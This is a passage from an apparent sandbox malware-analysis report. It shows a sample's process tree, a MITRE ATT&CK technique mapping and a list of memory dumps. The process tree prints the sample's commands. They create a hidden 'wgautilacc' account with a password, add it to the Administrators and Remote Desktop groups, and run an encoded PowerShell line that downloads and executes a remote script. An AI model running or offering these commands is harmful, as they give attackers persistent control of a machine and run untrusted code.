    3⤵
    PID:1564

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:3692
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3956
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:2740

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:1240
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1832
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
    3⤵
    PID:1464

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:2088
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  PID:2352
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:3144

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc YY6epZcX
1⤵
PID:1772
- C:\Windows\system32\net.exe
  net.exe user wgautilacc YY6epZcX
  2⤵
  PID:3968
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc YY6epZcX
    3⤵
    PID:2720

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:2184
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  PID:204

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:2288
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  PID:2192

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:2144
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:3728
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:1772

C:\Windows\System32\cmd.exe
cmd.exe /C net user wgautilacc 1234
1⤵
PID:1820
- C:\Windows\system32\net.exe
  net user wgautilacc 1234
  2⤵
  PID:3692
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 1234
    3⤵
    PID:3972

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1772-256-0x000002B6677E3000-0x000002B6677E5000-memory.dmp

Filesize
8KB

Download
memory/1772-255-0x000002B6677E0000-0x000002B6677E2000-memory.dmp

Filesize
8KB

Download
memory/1772-257-0x000002B6677E6000-0x000002B6677E8000-memory.dmp

Filesize
8KB

Download
memory/1772-258-0x000002B6677E8000-0x000002B6677E9000-memory.dmp

Filesize
4KB

Download
memory/2004-221-0x000001CCB8166000-0x000001CCB8168000-memory.dmp

Filesize
8KB

Download
memory/2004-222-0x000001CCB8168000-0x000001CCB816A000-memory.dmp

Filesize
8KB

Download
memory/2004-220-0x000001CCB8163000-0x000001CCB8165000-memory.dmp

Filesize
8KB

Download
memory/2004-219-0x000001CCB8160000-0x000001CCB8162000-memory.dmp

Filesize
8KB

Download
memory/2248-215-0x00000250DAE53000-0x00000250DAE55000-memory.dmp

Filesize
8KB

Download
memory/2248-216-0x00000250DAE56000-0x00000250DAE58000-memory.dmp

Filesize
8KB

Download
memory/2248-214-0x00000250DAE50000-0x00000250DAE52000-memory.dmp

Filesize
8KB

Download
memory/2248-218-0x00000250DAE58000-0x00000250DAE5A000-memory.dmp

Filesize
8KB

Download
memory/3148-212-0x000001A09B158000-0x000001A09B15A000-memory.dmp

Filesize
8KB

Download
memory/3148-211-0x000001A09B156000-0x000001A09B158000-memory.dmp

Filesize
8KB

Download
memory/3148-184-0x000001A09B153000-0x000001A09B155000-memory.dmp

Filesize
8KB

Download
memory/3148-183-0x000001A09B150000-0x000001A09B152000-memory.dmp

Filesize
8KB

Download
memory/3808-223-0x0000021A48968000-0x0000021A48969000-memory.dmp

Filesize
4KB

Download
memory/3808-158-0x0000021A48930000-0x0000021A48931000-memory.dmp

Filesize
4KB

Download
memory/3808-138-0x0000021A488F0000-0x0000021A488F1000-memory.dmp

Filesize
4KB

Download
memory/3808-144-0x0000021A48960000-0x0000021A48962000-memory.dmp

Filesize
8KB

Download
memory/3808-166-0x0000021A49D80000-0x0000021A49D81000-memory.dmp

Filesize
4KB

Download
memory/3808-160-0x0000021A48966000-0x0000021A48968000-memory.dmp

Filesize
8KB

Download
memory/3808-145-0x0000021A48963000-0x0000021A48965000-memory.dmp

Filesize
8KB

Download
memory/3808-165-0x0000021A499F0000-0x0000021A499F1000-memory.dmp

Filesize
4KB

Download
memory/3808-142-0x0000021A49590000-0x0000021A49591000-memory.dmp

Filesize
4KB

Download
memory/3952-114-0x0000000002280000-0x0000000002311000-memory.dmp

Filesize
580KB

Download
memory/3952-115-0x0000000000400000-0x0000000000496000-memory.dmp

Filesize
600KB

Download
memory/4092-132-0x000001C2FE786000-0x000001C2FE787000-memory.dmp

Filesize
4KB

Download
memory/4092-127-0x000001C2FEBC0000-0x000001C2FEFE1000-memory.dmp

Filesize
4.1MB

Download
memory/4092-129-0x000001C2FE780000-0x000001C2FE782000-memory.dmp

Filesize
8KB

Download
memory/4092-130-0x000001C2FE783000-0x000001C2FE785000-memory.dmp

Filesize
8KB

Download
memory/4092-131-0x000001C2FE785000-0x000001C2FE786000-memory.dmp

Filesize
4KB

Download